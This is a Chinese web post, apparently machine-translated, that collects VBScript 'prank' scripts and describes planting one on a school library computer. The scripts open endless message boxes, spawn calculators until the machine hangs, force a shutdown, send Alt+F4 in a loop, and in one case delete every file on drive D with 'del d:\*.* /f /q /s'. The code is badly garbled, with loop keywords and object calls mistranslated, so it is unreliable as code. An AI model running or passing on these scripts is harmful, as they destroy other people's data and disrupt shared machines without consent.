luda
VBS完整代码大集合，收集完整，喜欢的朋友可以参考。请不要破坏。学VBS的朋友很有帮助。死循环的使用比较多。(大卫亚设，Northern Exposure(美国电视)，死亡)只要制作一个新的记事本，复制以下代码，然后以VBE格式保存即可。
第一，我把这个程序放在学校图书馆查询书籍的机器上，很多人无奈。哈哈。
道
Msgbox 'You are foolish！'
循环(音乐)
-银
第二，打开无数计算器，直到死机为止。
set wsh=create object(' w；)。
道
W 'calc '
循环(音乐)
-银
三、直接终止
dim wshshshell
set wshshshell=w(' w；)。
WSH 'shutdown -f -s -t 00 '，0，true
-银
四、D:\删除所有文件
dim wshshshell
set wshshshell=w(' w；)。
Wsh' cmd/c'' deld: \ *。*/f/q/s ' '，0，true
-银
第五，不断地弹出窗户。
While(1)
“Msgbox”哈哈，你被耍了！' '
循环(音乐)
-银
第六，继续按alt F4(打开和关闭所有东西).）
dim wshshshell
Set WSHshell=
w(' w；)。
While(1)
WSH“% { F4 }”
循环(音乐)
-银
按7，500次回到车上
(上面的代码在执行器的计算机上显示500个对话框。其中dountils=500，500可以自由更改)
Dim s
Do until s=500
S=s 1
Msgbox《朋友，请按500次》，64
循环(音乐)
-银
第八，关不上的窗户
WScri(“嘿，谢谢你打开我，等很久！”TSName)
WScri(“你是可爱的孩子吗？”)。
ws CRI(‘哈，你想拉吗，这个也不知道吗？’)。
WScri(“怎么来~不在乎”)
WScri(“哼，我生气了，你等这么久心里很痛快。”)。)
WScri(“小强生气了，后果很严重。”)。
WScri('嘿嘿！"你也会凄惨的"
WScri(“是否要删除我？”)。
WScri(“那就点50次吧，但我会给你惊喜的”)
WScri(“还剩49次，快点”)
ws CRI(‘还剩48，快点，傻瓜！’)。
ws CRI(‘还有47天，请这样快点！’)。
WScri('还有46个。你是傻瓜，快点，我先不打扰你的工作。)。)
WScri('还有45次。“快点！”)。
WScri(“还剩43次”)
WScri(“还剩42次”)
WScri(“还剩41次”)
WScri(“还剩40多岁”)
WScri(“还剩39次”)
WScri(“还剩38次”)
WScri(“还有37个”)
WScri(“还剩36次”)
WScri(“还剩35次”)
WScri(“还剩34次”)
WScri(“还剩33次”)
WScri(“还剩32次”)
WScri(“还剩30多岁”)
WScri(“还剩29次”)
WScri(“还有28个”)
WScri(“还有27个”)
WScri(“还有26次”)
WScri(“还剩25次”)
WScri(“还有24次”)
WScri(“还有23次”)
WScri(“还有22次”)
WScri(“还有21次”)
WScri(“还剩20多岁”)
WScri(“还剩19次”)
WScri(“还有18个”)
WScri(“还有17个”)
WScri(“还有16次”)
WScri(“还有15次”)
WScri(“还剩14次”)
WScri('还剩13次！“慢点，我有话要说”
ws CRI(‘还剩12次，如果你继续点的话，我会消失的’)
WScri('还有11 '，以后看不到我拉。55555’)
WScri(“还剩10个，现在可以选择停止！”)。)
WScri ('9左。你还在点菜，我不拉吗？)。)
WScri(“还有8，有点伤心，为什么弃人？”）
WScri ('7左。疯了，你有点消极！)。)
WScri('还剩6个。没错。你点菜吧，我讨厌你！)。)
WScri(“还有5天，我不明白，删除我就行了？”)。
WScri ('4左！“真的要删除我吗？”)。
WScri ('3左。但是我真的很想念你。的功能相同。)
WScri ('2左。别这么绝情，人们爱你！)。)
WScri ('1左。哼，既然你这么高潮。也不要怪我不公正！”)。
WSCRI(‘我本该消失的，但我迷恋你，上帝又给了我一次机会。)。)
WScri('你想了结我吗？“那就再点一次吧。”
WScri('你想了结我吗？“那就再点一次吧。”
WScri('你想了结我吗？“那就再点一次吧。”
WScri('你想了结我吗？“那就再点一次吧。”
WScri('你想了结我吗？“那就再点一次吧。”
WScri('你想了结我吗？“那就再点一次吧。”
WScri('你想了结我吗？“那就再点一次吧。”
WScri('你想了结我吗？“那就再点一次吧。”
WScri('你想了结我吗？“那就再点一次吧。”
WScri('你想了结我吗？“那就再点一次吧。”
-银
注意：所有标点符号都必须用英语输入。
欢迎访问微信公众号“vbs_edit”。了解更多有关VBS计算机的信息。